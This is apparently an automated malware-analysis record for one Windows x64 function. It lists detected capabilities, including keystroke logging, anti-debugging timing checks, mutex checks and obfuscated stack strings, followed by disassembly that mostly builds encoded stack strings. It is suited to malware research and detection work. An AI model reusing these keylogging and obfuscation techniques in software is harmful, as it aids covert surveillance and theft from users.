Function at 0x140001000
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get keyboard layout
Get session user name
Get system information on windows
Hash data using djb2
Log keystrokes
Parse pe header
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x15090
call fcn.140104170
sub rsp, rax
movabs rax, 0x78c79e269e1d2a
mov qword [rsp + 0x5c70], rax
mov dword [rsp + 0x3030], 0x4066
mov eax, 0xda4
mov word [rsp + 0x7c8], ax
movabs rax, 0x79c8295ba43f9f
mov qword [rsp + 0x5c78], rax
mov dword [rsp + 0x3034], 0x75f5
movabs rax, 0x712e1d5f273b96
mov qword [rsp + 0x5c80], rax
mov byte [rsp + 0x60], 0x4d
movabs rax, 0x79ac274f04a216
mov qword [rsp + 0x5c88], rax
movabs rax, 0x7d8f2544fda54c
mov qword [rsp + 0x5c90], rax
mov eax, 0x7c3
mov word [rsp + 0x7cc], ax
mov byte [rsp + 0x61], 0xa6
mov dword [rsp + 0x3038], 0xb8b6
mov byte [rsp + 0x62], 1
mov byte [rsp + 0x63], 0x8f
mov eax, 0x2e5
mov word [rsp + 0x7d0], ax
mov eax, 0xd90
mov word [rsp + 0x7d4], ax
movabs rax, 0x7c6c396c687c25
mov qword [rsp + 0x5c98], rax
mov dword [rsp + 0x303c], 0x595a
mov dword [rsp + 0x3040], 0xe189
mov dword [rsp + 0x3044], 0x52dd
movabs rax, 0x7e8728f4f264c3
mov qword [rsp + 0x5ca0], rax
movabs rax, 0x73366c341a192d
mov qword [rsp + 0x5ca8], rax
movabs rax, 0x78b0d78ad6894b
mov qword [rsp + 0x5cb0], rax
mov byte [rsp + 0x64], 0x47
mov eax, 0x4ad
mov word [rsp + 0x7d8], ax
mov byte [rsp + 0x65], 0x34
mov dword [rsp + 0x3048], 0xec65
movabs rax, 0x7aa2695ea77617
mov qword [rsp + 0x5cb8], rax
movabs rax, 0x72a4a0c31745b5
mov qword [rsp + 0x5cc0], rax
movabs rax, 0x71b74af45bccf7
mov qword [rsp + 0x5cc8], rax
mov dword [rsp + 0x304c], 0xaa3e
mov byte [rsp + 0x66], 0xf
mov dword [rsp + 0x3050], 0x2f
mov eax, 0x6de
mov word [rsp + 0x7dc], ax
movabs rax, 0x7a47183f32e45a
mov qword [rsp + 0x5cd0], rax
mov dword [rsp + 0x3054], 0x490c
movabs rax, 0x7227c605f911fb
mov qword [rsp + 0x5cd8], rax
mov byte [rsp + 0x67], 0x88
movabs rax, 0x705c9148be8ae0
mov qword [rsp + 0x5ce0], rax
mov byte [rsp + 0x68], 0x1e
mov byte [rsp + 0x69], 0x63
mov eax, 0xccd
mov word [rsp + 0x7e0], ax
mov eax, 0x48c
mov word [rsp + 0x7e4], ax
movabs rax, 0x73948a851d5d4e
mov qword [rsp + 0x5ce8], rax
movabs rax, 0x7c7043db1b96b2
mov qword [rsp + 0x5cf0], rax
mov eax, 0x290
mov word [rsp + 0x7e8], ax
mov byte [rsp + 0x6a], 0x58
mov dword [rsp + 0x3058], 0x7a59
mov dword [rsp + 0x305c], 0xe73b
mov dword [rsp + 0x3060], 0xd461
mov dword [rsp + 0x3064], 0x3e1c
movabs rax, 0x7d59ca0821bf0c
mov qword [rsp + 0x5cf8], rax
movabs rax, 0x7da7495412c485
mov qword [rsp + 0x5d00], rax
mov eax, 0xb9e
mov word [rsp + 0x7ec], ax
mov dword [rsp + 0x3068], 0x5d64
mov byte [rsp + 0x6b], 2
mov eax, 0x2ec
mov word [rsp + 0x7f0], ax
mov byte [rsp + 0x6c], 0x61
mov eax, 0x1b5
mov word [rsp + 0x7f4], ax
mov dword [rsp + 0x306c], 0xeb4
mov byte [rsp + 0x6d], 0x5a
movabs rax, 0x7a64976d5cda7f
mov qword [rsp + 0x5d08], rax
mov eax, 0x2cb
mov word [rsp + 0x7f8], ax
mov dword [rsp + 0x3070], 0x3b7f
mov eax, 0x565
mov word [rsp + 0x7fc], ax
mov eax, 0x9f
mov word [rsp + 0x800], ax
movabs rax, 0x76d1d4c381ec9d
mov qword [rsp + 0x5d10], rax
mov dword [rsp + 0x3074], 0xb24e
mov byte [rsp + 0x6e], 0x2b
mov eax, 0x155
mov word [rsp + 0x804], ax
mov eax, 0x468
mov word [rsp + 0x808], ax
mov eax, 0x778
mov word [rsp + 0x80c], ax
movabs rax, 0x7430747009e3ed
mov qword [rsp + 0x5d18], rax
mov eax, 0xd04
mov word [rsp + 0x810], ax
movabs rax, 0x7aead79957b1fa
mov qword [rsp + 0x5d20], rax
mov dword [rsp + 0x3078], 0x53a0
mov eax, 0x572
mov word [rsp + 0x814], ax
mov dword [rsp + 0x307c], 0xecc
movabs rax, 0x7abdde08086e51
mov qword [rsp + 0x5d28], rax
mov byte [rsp + 0x6f], 0x41
mov eax, 0x2a2
mov word [rsp + 0x818], ax
mov byte [rsp + 0x70], 3
mov eax, 0x180
mov word [rsp + 0x81c], ax
mov eax, 0x15f
mov word [rsp + 0x820], ax
mov dword [rsp + 0x3080], 0x8855
mov byte [rsp + 0x71], 0x65
mov eax, 0x9d9
mov word [rsp + 0x824], ax
mov eax, 0x742
mov word [rsp + 0x828], ax
mov dword [rsp + 0x3084], 0x1c04
movabs rax, 0x73e255c6aad770
mov qword [rsp + 0x5d30], rax
mov dword [rsp + 0x3088], 0xd01c
mov byte [rsp + 0x72], 0x7c
mov eax, 0x41f
mov word [rsp + 0x82c], ax
mov byte [rsp + 0x73], 0x4d
mov byte [rsp + 0x74], 0xfe
mov byte [rsp + 0x75], 0x7d
movabs rax, 0x730fba6d411fc8
mov qword [rsp + 0x5d38], rax
movabs rax, 0x7d6817fac86924
mov qword [rsp + 0x5d40], rax
mov eax, 0xa61
mov word [rsp + 0x830], ax
mov byte [rsp + 0x76], 0x5f
mov byte [rsp + 0x77], 0x2c
movabs rax, 0x78c713e9aed3c3
mov qword [rsp + 0x5d48], rax
mov dword [rsp + 0x308c], 0x2b2e
movabs rax, 0x7bbe3025c8f73d
mov qword [rsp + 0x5d50], rax
mov dword [rsp + 0x3090], 0x2bed
movabs rax, 0x7ef13d3ae0cad6
mov qword [rsp + 0x5d58], rax
mov eax, 0x8e6
mov word [rsp + 0x834], ax
mov eax, 0x6e9
mov word [rsp + 0x838], ax
mov eax, 0xa3e
mov word [rsp + 0x83c], ax
mov byte [rsp + 0x78], 0x77
mov eax, 0x812
mov word [rsp + 0x840], ax
mov byte [rsp + 0x79], 0xb0
mov byte [rsp + 0x7a], 0x3f
movabs rax, 0x700dc8c37402ea
mov qword [rsp + 0x5d60], rax
mov dword [rsp + 0x3094], 0x356d
mov eax, 0x3ba
mov word [rsp + 0x844], ax
movabs rax, 0x73cdd017544d8e
mov qword [rsp + 0x5d68], rax
mov eax, 0x288
mov word [rsp + 0x848], ax
mov byte [rsp + 0x7b], 0xcb
movabs rax, 0x72c8ff38a123c6
mov qword [rsp + 0x5d70], rax
mov byte [rsp + 0x7c], 0x57
mov eax, 0x17
mov word [rsp + 0x84c], ax
mov dword [rsp + 0x3098], 0x18f3
mov dword [rsp + 0x309c], 0x4288
movabs rax, 0x779f2b71c055bd
mov qword [rsp + 0x5d78], rax
mov byte [rsp + 0x7d], 0x11
mov dword [rsp + 0x30a0], 0xc9f8
mov eax, 0x482
mov word [rsp + 0x850], ax
movabs rax, 0x72cfeebc8b1a29
mov qword [rsp + 0x5d80], rax
mov dword [rsp + 0x30a4], 0x86b4
mov eax, 0x6d9
mov word [rsp + 0x854], ax
mov byte [rsp + 0x7e], 0xa1
movabs rax, 0x79ffd087f2b547
mov qword [rsp + 0x5d88], rax
mov dword [rsp + 0x30a8], 0x184a
mov byte [rsp + 0x7f], 0x34
mov eax, 0x732
mov word [rsp + 0x858], ax
mov eax, 0xe29
mov word [rsp + 0x85c], ax
mov eax, 0x332
mov word [rsp + 0x860], ax
mov dword [rsp + 0x30ac], 0xf3
mov dword [rsp + 0x30b0], 0x35cf
mov eax, 0xab
mov word [rsp + 0x864], ax
mov dword [rsp + 0x30b4], 0x605
mov byte [rsp + 0x80], 0x56
movabs rax, 0x7002a87495a7c0
mov qword [rsp + 0x5d90], rax
mov eax, 0x284
mov word [rsp + 0x868], ax
mov eax, 0x4dd
mov word [rsp + 0x86c], ax
mov dword [rsp + 0x30b8], 0xac5c
movabs rax, 0x7a9e5e0cfd7d6b
mov qword [rsp + 0x5d98], rax
mov eax, 0x12f
mov word [rsp + 0x870], ax
mov eax, 0xc53
mov word [rsp + 0x874], ax
movabs rax, 0x76e0e2ab1b4591
mov qword [rsp + 0x5da0], rax
movabs rax, 0x771b127037d5df
mov qword [rsp + 0x5da8], rax
movabs rax, 0x7cf22c69f4edad
mov qword [rsp + 0x5db0], rax
mov eax, 0x751
mov word [rsp + 0x878], ax
movabs rax, 0x750e012d3d1b41
mov qword [rsp + 0x5db8], rax
mov dword [rsp + 0x30bc], 0x7389
movabs rax, 0x7a53c7e1bc6629
mov qword [rsp + 0x5dc0], rax
movabs rax, 0x79b853240e6255
mov qword [rsp + 0x5dc8], rax
mov eax, 0x72b
mov word [rsp + 0x87c], ax
mov eax, 0x591
mov word [rsp + 0x880], ax
mov dword [rsp + 0x30c0], 0xa968
mov dword [rsp + 0x30c4], 0xdb17
mov eax, 0x976
mov word [rsp + 0x884], ax
movabs rax, 0x76c078f23eadb9
mov qword [rsp + 0x5dd0], rax
movabs rax, 0x75d69aac320f93
mov qword [rsp + 0x5dd8], rax
mov eax, 0x6e3
mov word [rsp + 0x888], ax
mov byte [rsp + 0x81], 0x3e
mov eax, 0x41b
mov word [rsp + 0x88c], ax
mov dword [rsp + 0x30c8], 0x7cad
movabs rax, 0x76ad367311e6d7
mov qword [rsp + 0x5de0], rax
mov dword [rsp + 0x30cc], 0xbb03
mov eax, 0x563
mov word [rsp + 0x890], ax
mov eax, 0xc2f
mov word [rsp + 0x894], ax
movabs rax, 0x7b33249fbc9f2e
mov qword [rsp + 0x5de8], rax
mov eax, 0x658
mov word [rsp + 0x898], ax
mov dword [rsp + 0x30d0], 0x7125
mov dword [rsp + 0x30d4], 0x277d
mov byte [rsp + 0x82], 0xf7
mov dword [rsp + 0x30d8], 0x40a6
movabs rax, 0x71ee98b3d28717
mov qword [rsp + 0x5df0], rax
mov eax, 0x455
mov word [rsp + 0x89c], ax
mov eax, 0xab
mov word [rsp + 0x8a0], ax
movabs rax, 0x77b92928c169e4
mov qword [rsp + 0x5df8], rax
mov dword [rsp + 0x30dc], 0xf174
movabs rax, 0x728e87b17c76df
mov qword [rsp + 0x5e00], rax
mov eax, 0x75f
mov word [rsp + 0x8a4], ax
movabs rax, 0x7a83784053f8d2
mov qword [rsp + 0x5e08], rax
mov dword [rsp + 0x30e0], 0x64cc
mov dword [rsp + 0x30e4], 0xf13
mov byte [rsp + 0x83], 0xc0
movabs rax, 0x7cfeedc89b676d
mov qword [rsp + 0x5e10], rax
mov eax, 0xa40
mov word [rsp + 0x8a8], ax
mov dword [rsp + 0x30e8], 0x4e5f
mov dword [rsp + 0x30ec], 0xa5e4
mov byte [rsp + 0x84], 0x55
mov eax, 0x8fa
mov word [rsp + 0x8ac], ax
movabs rax, 0x7a54f1ce0e2b9a
mov qword [rsp + 0x5e18], rax
mov byte [rsp + 0x85], 0xd0
movabs rax, 0x79da3ed0c06437
mov qword [rsp + 0x5e20], rax
mov byte [rsp + 0x86], 0x32
mov dword [rsp + 0x30f0], 0x2372
mov dword [rsp + 0x30f4], 0x8f11
movabs rax, 0x71ea492e86f9bc
mov qword [rsp + 0x5e28], rax
movabs rax, 0x7bd438341913b8
mov qword [rsp + 0x5e30], rax
movabs rax, 0x7789450350accc
mov qword [rsp + 0x5e38], rax
movabs rax, 0x7b0464847286fe
mov qword [rsp + 0x5e40], rax
mov byte [rsp + 0x87], 0x53
mov dword [rsp + 0x30f8], 0x7bda
mov byte [rsp + 0x88], 0x57
movabs rax, 0x7e62fb0491401a
mov qword [rsp + 0x5e48], rax
movabs rax, 0x727d6fd74bd9ef
mov qword [rsp + 0x5e50], rax
mov dword [rsp + 0x30fc], 0xfdb4
mov eax, 0x6ba
mov word [rsp + 0x8b0], ax
movabs rax, 0x72955e32ca0113
mov qword [rsp + 0x5e58], rax
mov eax, 0x61e
mov word [rsp + 0x8b4], ax
mov byte [rsp + 0x89], 0xf9
movabs rax, 0x7469e80d58bc9c
mov qword [rsp + 0x5e60], rax
mov dword [rsp + 0x3100], 0x5672
mov byte [rsp + 0x8a], 0x2a
movabs rax, 0x71fed5a9079d75
mov qword [rsp + 0x5e68], rax
mov dword [rsp + 0x3104], 0x9608
mov dword [rsp + 0x3108], 0x6461
mov byte [rsp + 0x8b], 0xe
movabs rax, 0x7e1d55f8c61c11
mov qword [rsp + 0x5e70], rax
mov dword [rsp + 0x310c], 0x5652
mov byte [rsp + 0x8c], 0x4c
movabs rax, 0x75835dfb332ab8
mov qword [rsp + 0x5e78], rax
movabs rax, 0x75cfc1f6db6120
mov qword [rsp + 0x5e80], rax
movabs rax, 0x7c0ea1d38217df
mov qword [rsp + 0x5e88], rax
movabs rax, 0x7cc4e2b1243df8
mov qword [rsp + 0x5e90], rax
mov dword [rsp + 0x3110], 0x2232
movabs rax, 0x728d962d0f8c72
mov qword [rsp + 0x5e98], rax
movabs rax, 0x7d7322a94b7f0e
mov qword [rsp + 0x5ea0], rax
mov byte [rsp + 0x8d], 0x58
movabs rax, 0x76d05e9425f356
mov qword [rsp + 0x5ea8], rax
mov byte [rsp + 0x8e], 0x6b
movabs rax, 0x72b977f44af464
mov qword [rsp + 0x5eb0], rax
movabs rax, 0x735a1916c45a1c
mov qword [rsp + 0x5eb8], rax
mov eax, 0xcbe
mov word [rsp + 0x8b8], ax
mov byte [rsp + 0x8f], 0x5a
mov dword [rsp + 0x3114], 0xda4f
mov eax, 0xb89
mov word [rsp + 0x8bc], ax
mov dword [rsp + 0x3118], 0xe8d
mov eax, 0xd79
mov word [rsp + 0x8c0], ax
mov dword [rsp + 0x311c], 0xd9a
mov eax, 0x6db
mov word [rsp + 0x8c4], ax
movabs rax, 0x7ab7366e930e9e
mov qword [rsp + 0x5ec0], rax
mov byte [rsp + 0x90], 0xd1
movabs rax, 0x7a5c3877b8637c
mov qword [rsp + 0x5ec8], rax
mov eax, 0xd94
mov word [rsp + 0x8c8], ax
movabs rax, 0x78a13807941757
mov qword [rsp + 0x5ed0], rax
movabs rax, 0x74d3074e4d3e88
mov qword [rsp + 0x5ed8], rax
mov dword [rsp + 0x3120], 0x45c8
mov eax, 0x333
mov word [rsp + 0x8cc], ax
movabs rax, 0x7932c74f898eb6
mov qword [rsp + 0x5ee0], rax
mov byte [rsp + 0x91], 0x12
mov eax, 0x694
mov word [rsp + 0x8d0], ax
mov byte [rsp + 0x92], 0xc6
movabs rax, 0x7949ea68245d86
mov qword [rsp + 0x5ee8], rax
mov byte [rsp + 0x93], 0xa
movabs rax, 0x7248cec75e2703
mov qword [rsp + 0x5ef0], rax
movabs rax, 0x7c29673ec72a64
mov qword [rsp + 0x5ef8], rax
mov dword [rsp + 0x3124], 0xc1cd
movabs rax, 0x73bad991cfc49f
mov qword [rsp + 0x5f00], rax
mov byte [rsp + 0x94], 0xc
movabs rax, 0x74a389a2f50d04
mov qword [rsp + 0x5f08], rax
mov eax, 0x4bd
mov word [rsp + 0x8d4], ax
mov eax, 0x624
mov word [rsp + 0x8d8], ax
movabs rax, 0x736e1e9fa8f9f5
mov qword [rsp + 0x5f10], rax
movabs rax, 0x73d46cf517dee8
mov qword [rsp + 0x5f18], rax
movabs rax, 0x7e1065ad293bd1
mov qword [rsp + 0x5f20], rax
mov byte [rsp + 0x95], 0xd4
movabs rax, 0x77b12893f2f136
mov qword [rsp + 0x5f28], rax
mov eax, 0x63d
mov word [rsp + 0x8dc], ax
mov dword [rsp + 0x3128], 0x4603
mov byte [rsp + 0x96], 0x6b
mov dword [rsp + 0x312c], 0x4711
movabs rax, 0x7c58375e6631c6
mov qword [rsp + 0x5f30], rax
movabs rax, 0x7e7d866abbdd88
mov qword [rsp + 0x5f38], rax
mov eax, 0x5fe
mov word [rsp + 0x8e0], ax
movabs rax, 0x7ef0fa5e9a30d8
mov qword [rsp + 0x5f40], rax
mov eax, 0x55d
mov word [rsp + 0x8e4], ax
mov dword [rsp + 0x3130], 0x9495
movabs rax, 0x76f98ec60f8314
mov qword [rsp + 0x5f48], rax
mov dword [rsp + 0x3134], 0xdfe3
mov byte [rsp + 0x97], 0xd
movabs rax, 0x78dc90f6eeb547
mov qword [rsp + 0x5f50], rax
mov byte [rsp + 0x98], 0x88
mov dword [rsp + 0x3138], 0xb133
movabs rax, 0x751525c32da9fa
mov qword [rsp + 0x5f58], rax
movabs rax, 0x7ebe206524fe28
mov qword [rsp + 0x5f60], rax
mov dword [rsp + 0x313c], 0x42b6
movabs rax, 0x72dcea5ec1a21f
mov qword [rsp + 0x5f68], rax
movabs rax, 0x7cc0f5bc660349
mov qword [rsp + 0x5f70], rax
mov byte [rsp + 0x99], 0x26
movabs rax, 0x7911e9edd74498
mov qword [rsp + 0x5f78], rax
movabs rax, 0x7c2ddfc065c7f8
mov qword [rsp + 0x5f80], rax
mov eax, 0x3a2
mov word [rsp + 0x8e8], ax
movabs rax, 0x71b8f664878b6b
mov qword [rsp + 0x5f88], rax
movabs rax, 0x72efa4f7f961a1
mov qword [rsp + 0x5f90], rax
mov dword [rsp + 0x3140], 0xf27
mov byte [rsp + 0x9a], 0x72
movabs rax, 0x7a49ec18452c9c
mov qword [rsp + 0x5f98], rax
mov eax, 0xab5
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x3144], 0x664
mov eax, 0x4ae
mov word [rsp + 0x8f0], ax
mov eax, 0x130
mov word [rsp + 0x8f4], ax
mov dword [rsp + 0x3148], 0x68d5
mov eax, 0x8e8
mov word [rsp + 0x8f8], ax
movabs rax, 0x7160b517090e1b
mov qword [rsp + 0x5fa0], rax
mov byte [rsp + 0x9b], 0x36
mov dword [rsp + 0x314c], 0x673c
movabs rax, 0x7e9bc0e5446526
mov qword [rsp + 0x5fa8], rax
movabs rax, 0x76489f88c89807
mov qword [rsp + 0x5fb0], rax
mov byte [rsp + 0x9c], 0x5e
mov byte [rsp + 0x9d], 0x39
movabs rax, 0x785365ee3cd557
mov qword [rsp + 0x5fb8], rax
movabs rax, 0x76a73bead84822
mov qword [rsp + 0x5fc0], rax
mov eax, 0x512
mov word [rsp + 0x8fc], ax
mov dword [rsp + 0x3150], 0x8cee
mov dword [rsp + 0x3154], 0x5b85
mov dword [rsp + 0x3158], 0x34c1
mov byte [rsp + 0x9e], 0xbe
mov eax, 0x424
mov word [rsp + 0x900], ax
mov eax, 0xf0
mov word [rsp + 0x904], ax
movabs rax, 0x707deb24588c6b
mov qword [rsp + 0x5fc8], rax
mov dword [rsp + 0x315c], 0xc140
movabs rax, 0x7565483c2b6c4f
mov qword [rsp + 0x5fd0], rax
mov dword [rsp + 0x3160], 0x69e1
mov dword [rsp + 0x3164], 0x5f84
mov eax, 0xb02
mov word [rsp + 0x908], ax
movabs rax, 0x793b785a3ddf21
mov qword [rsp + 0x5fd8], rax
mov eax, 0x465
mov word [rsp + 0x90c], ax
mov byte [rsp + 0x9f], 0xae
mov eax, 0x8d
mov word [rsp + 0x910], ax
mov dword [rsp + 0x3168], 0x6892
mov eax, 0xf99
mov word [rsp + 0x914], ax
mov dword [rsp + 0x316c], 0x3f0d
movabs rax, 0x711407f0dedfee
mov qword [rsp + 0x5fe0], rax
movabs rax, 0x76d530eba810a6
mov qword [rsp + 0x5fe8], rax
mov eax, 0x2f0
mov word [rsp + 0x918], ax
mov byte [rsp + 0xa0], 0x6d
movabs rax, 0x730edad390c36f
mov qword [rsp + 0x5ff0], rax
movabs rax, 0x7db4499f20d434
mov qword [rsp + 0x5ff8], rax
mov dword [rsp + 0x3170], 0x7763
movabs rax, 0x78c3464aeb1fbe
mov qword [rsp + 0x6000], rax
mov dword [rsp + 0x3174], 0x3366
mov eax, 0x670
mov word [rsp + 0x91c], ax
mov byte [rsp + 0xa1], 0x70
mov dword [rsp + 0x3178], 0x3bbf
mov eax, 0xc22
mov word [rsp + 0x920], ax
mov byte [rsp + 0xa2], 0xe2
mov dword [rsp + 0x317c], 0x2d4a
mov dword [rsp + 0x3180], 0xccc4
mov eax, 0x759
mov word [rsp + 0x924], ax
mov byte [rsp + 0xa3], 0x8f
mov eax, 0x2fd
mov word [rsp + 0x928], ax
mov eax, 0x4fb
mov word [rsp + 0x92c], ax
mov eax, 0x59e
mov word [rsp + 0x930], ax
mov dword [rsp + 0x3184], 0x41b7
mov eax, 0x1ee
mov word [rsp + 0x934], ax
movabs rax, 0x7065e85b7c6b57
mov qword [rsp + 0x6008], rax
mov byte [rsp + 0xa4], 0x39
movabs rax, 0x7488bbe40b4832
mov qword [rsp + 0x6010], rax
movabs rax, 0x7ddcd69ab20c67
mov qword [rsp + 0x6018], rax
movabs rax, 0x71e1d84b71e692
mov qword [rsp + 0x6020], rax
mov eax, 0x5f9
mov word [rsp + 0x938], ax
mov dword [rsp + 0x3188], 0x9f37
movabs rax, 0x7d03dbd05fb480
mov qword [rsp + 0x6028], rax
mov eax, 0x1e7
mov word [rsp + 0x93c], ax
mov byte [rsp + 0xa5], 0x70
movabs rax, 0x76af2b7bcc2b68
mov qword [rsp + 0x6030], rax
mov byte [rsp + 0xa6], 0x7d
mov byte [rsp + 0xa7], 0x2c
mov eax, 0x294
mov word [rsp + 0x940], ax
movabs rax, 0x7965276298624f
mov qword [rsp + 0x6038], rax
movabs rax, 0x7049667a197dd5
mov qword [rsp + 0x6040], rax
mov byte [rsp + 0xa8], 0x4e
mov dword [rsp + 0x318c], 0xf9eb
movabs rax, 0x7d0744b980159c
mov qword [rsp + 0x6048], rax
movabs rax, 0x7e6331e4edf8c8
mov qword [rsp + 0x6050], rax
mov eax, 0xb70
mov word [rsp + 0x944], ax
movabs rax, 0x7a3dc124bb33eb
mov qword [rsp + 0x6058], rax
mov byte [rsp + 0xa9], 0xc2
movabs rax, 0x7c886ac2aa82a1
mov qword [rsp + 0x6060], rax
movabs rax, 0x79ed599b6a1f14
mov qword [rsp + 0x6068], rax
mov dword [rsp + 0x3190], 0xe95
mov eax, 0x4d6
mov word [rsp + 0x948], ax
mov byte [rsp + 0xaa], 0xee
movabs rax, 0x7a19a613b360c9
mov qword [rsp + 0x6070], rax
mov eax, 0xab4
mov word [rsp + 0x94c], ax
mov byte [rsp + 0xab], 0x6f
mov byte [rsp + 0xac], 0x62
movabs rax, 0x7a316c5fbbe3d5
mov qword [rsp + 0x6078], rax
movabs rax, 0x7966577236beb4
mov qword [rsp + 0x6080], rax
mov byte [rsp + 0xad], 9
movabs rax, 0x7a797273fc9c5b
mov qword [rsp + 0x6088], rax
mov dword [rsp + 0x3194], 0x7053
mov eax, 0xb88
mov word [rsp + 0x950], ax
mov byte [rsp + 0xae], 0x62
mov dword [rsp + 0x3198], 0x6d90
mov dword [rsp + 0x319c], 0x5d62
mov byte [rsp + 0xaf], 0x69
mov dword [rsp + 0x31a0], 0x272b
movabs rax, 0x7e1f1c75ba7cfa
mov qword [rsp + 0x6090], rax
movabs rax, 0x7e19ffc7ad2244
mov qword [rsp + 0x6098], rax
mov byte [rsp + 0xb0], 6
mov dword [rsp + 0x31a4], 0x7de
mov dword [rsp + 0x31a8], 0x283
movabs rax, 0x786c63e8b3f7fd
mov qword [rsp + 0x60a0], rax
mov byte [rsp + 0xb1], 0x21
mov eax, 0x65f
mov word [rsp + 0x954], ax
movabs rax, 0x720c4d778679f3
mov qword [rsp + 0x60a8], rax
movabs rax, 0x72c516c85dd31a
mov qword [rsp + 0x60b0], rax
mov eax, 0xd3
mov word [rsp + 0x958], ax
movabs rax, 0x75a626d1b17765
mov qword [rsp + 0x60b8], rax
movabs rax, 0x7a30819cf2ff0e
mov qword [rsp + 0x60c0], rax
mov dword [rsp + 0x31ac], 0x6180
mov eax, 0x6f8
mov word [rsp + 0x95c], ax
mov eax, 0x25c
mov word [rsp + 0x960], ax
mov dword [rsp + 0x31b0], 0xa78
movabs rax, 0x7780384f6b546f
mov qword [rsp + 0x60c8], rax
movabs rax, 0x75f9d7a5fea292
mov qword [rsp + 0x60d0], rax
mov eax, 0x1c3
mov word [rsp + 0x964], ax
mov byte [rsp + 0xb2], 0xa6
movabs rax, 0x774b1cf9d84036
mov qword [rsp + 0x60d8], rax
mov dword [rsp + 0x31b4], 0x6b1e
mov eax, 0x606
mov word [rsp + 0x968], ax
mov eax, 0x316
mov word [rsp + 0x96c], ax
mov dword [rsp + 0x31b8], 0xf369
mov eax, 0x5a0
mov word [rsp + 0x970], ax
movabs rax, 0x791aa8f9c9a41b
mov qword [rsp + 0x60e0], rax
movabs rax, 0x727fd1bb41805c
mov qword [rsp + 0x60e8], rax
movabs rax, 0x7a9a0baedebe6c
mov qword [rsp + 0x60f0], rax
mov dword [rsp + 0x31bc], 0x7313
mov dword [rsp + 0x31c0], 0x5d83
mov eax, 0x49f
mov word [rsp + 0x974], ax
movabs rax, 0x73a4844058ffe3
mov qword [rsp + 0x60f8], rax
mov byte [rsp + 0xb3], 0x71
movabs rax, 0x741405f9b3f33c
mov qword [rsp + 0x6100], rax
mov dword [rsp + 0x31c4], 0x30fe
mov byte [rsp + 0xb4], 0x94
movabs rax, 0x7937878c9c8233
mov qword [rsp + 0x6108], rax
mov eax, 0x5d3
mov word [rsp + 0x978], ax
mov eax, 0x61a
mov word [rsp + 0x97c], ax
mov dword [rsp + 0x31c8], 0x124d
mov byte [rsp + 0xb5], 0x9a
mov dword [rsp + 0x31cc], 0x1477
mov dword [rsp + 0x31d0], 0x986b
mov eax, 0x70e
mov word [rsp + 0x980], ax
mov dword [rsp + 0x31d4], 0x1d60
movabs rax, 0x77aea7267366ed
mov qword [rsp + 0x6110], rax
movabs rax, 0x70a78e1f366ac9
mov qword [rsp + 0x6118], rax
mov eax, 0x91
mov word [rsp + 0x984], ax
movabs rax, 0x7c2bdf36440dbb
mov qword [rsp + 0x6120], rax
mov eax, 0x3ec
mov word [rsp + 0x988], ax
movabs rax, 0x70685d3c3c2972
mov qword [rsp + 0x6128], rax
mov dword [rsp + 0x31d8], 0xf31f
mov byte [rsp + 0xb6], 0x22
mov eax, 0x456
mov word [rsp + 0x98c], ax
mov dword [rsp + 0x31dc], 0xb46c
mov byte [rsp + 0xb7], 0x53
mov eax, 0x395
mov word [rsp + 0x990], ax
mov byte [rsp + 0xb8], 0x5c
mov byte [rsp + 0xb9], 0xb0
movabs rax, 0x7d62115a409244
mov qword [rsp + 0x6130], rax
movabs rax, 0x7d4099836ba244
mov qword [rsp + 0x6138], rax
mov eax, 0x2e4
mov word [rsp + 0x994], ax
mov eax, 0x206
mov word [rsp + 0x998], ax
movabs rax, 0x717ce4be8af439
mov qword [rsp + 0x6140], rax
mov dword [rsp + 0x31e0], 0x2aba
movabs rax, 0x73b8fa8825a95e
mov qword [rsp + 0x6148], rax
mov dword [rsp + 0x31e4], 0x62a0
movabs rax, 0x7c9af1eb0824c0
mov qword [rsp + 0x6150], rax
movabs rax, 0x792880c9d56b14
mov qword [rsp + 0x6158], rax
movabs rax, 0x714143b628932c
mov qword [rsp + 0x6160], rax
mov eax, 0x74c
mov word [rsp + 0x99c], ax
movabs rax, 0x7afb9efd21038e
mov qword [rsp + 0x6168], rax
movabs rax, 0x7076acf66266d9
mov qword [rsp + 0x6170], rax
mov byte [rsp + 0xba], 0xca
mov eax, 0x4b7
mov word [rsp + 0x9a0], ax
mov eax, 0xf39
mov word [rsp + 0x9a4], ax
movabs rax, 0x7358c5e4bdf53b
mov qword [rsp + 0x6178], rax
movabs rax, 0x761fb8cdfee32b
mov qword [rsp + 0x6180], rax
mov eax, 0x98a
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x31e8], 0x499
mov byte [rsp + 0xbb], 0x61
mov dword [rsp + 0x31ec], 0x2e16
mov byte [rsp + 0xbc], 0x70
movabs rax, 0x7da9364cb8aa48
mov qword [rsp + 0x6188], rax
mov eax, 0x6b
mov word [rsp + 0x9ac], ax
mov byte [rsp + 0xbd], 2
mov byte [rsp + 0xbe], 0x86
mov byte [rsp + 0xbf], 0x97
mov dword [rsp + 0x31f0], 0xf4
mov eax, 0x2a0
mov word [rsp + 0x9b0], ax
mov eax, 0x5f7
mov word [rsp + 0x9b4], ax
mov dword [rsp + 0x31f4], 0xbeeb
mov dword [rsp + 0x31f8], 0x3282
mov dword [rsp + 0x31fc], 0x46e9
mov dword [rsp + 0x3200], 0xfa6e
mov byte [rsp + 0xc0], 0x24
mov dword [rsp + 0x3204], 0xd05
mov dword [rsp + 0x3208], 0x3717
mov dword [rsp + 0x320c], 0x4819
mov eax, 0x2dd
mov word [rsp + 0x9b8], ax
movabs rax, 0x7dbacd604bd358
mov qword [rsp + 0x6190], rax
mov dword [rsp + 0x3210], 0x7782
mov eax, 0x98a
mov word [rsp + 0x9bc], ax
mov eax, 0xc42
mov word [rsp + 0x9c0], ax
movabs rax, 0x7cc9967583cdfe
mov qword [rsp + 0x6198], rax
mov dword [rsp + 0x3214], 0x2803
mov byte [rsp + 0xc1], 0x23
mov dword [rsp + 0x3218], 0x525e
mov eax, 0x81f
mov word [rsp + 0x9c4], ax
movabs rax, 0x7c527191f3d3fa
mov qword [rsp + 0x61a0], rax
mov dword [rsp + 0x321c], 0xc211
movabs rax, 0x7293abbf95f296
mov qword [rsp + 0x61a8], rax
mov dword [rsp + 0x3220], 0x136d
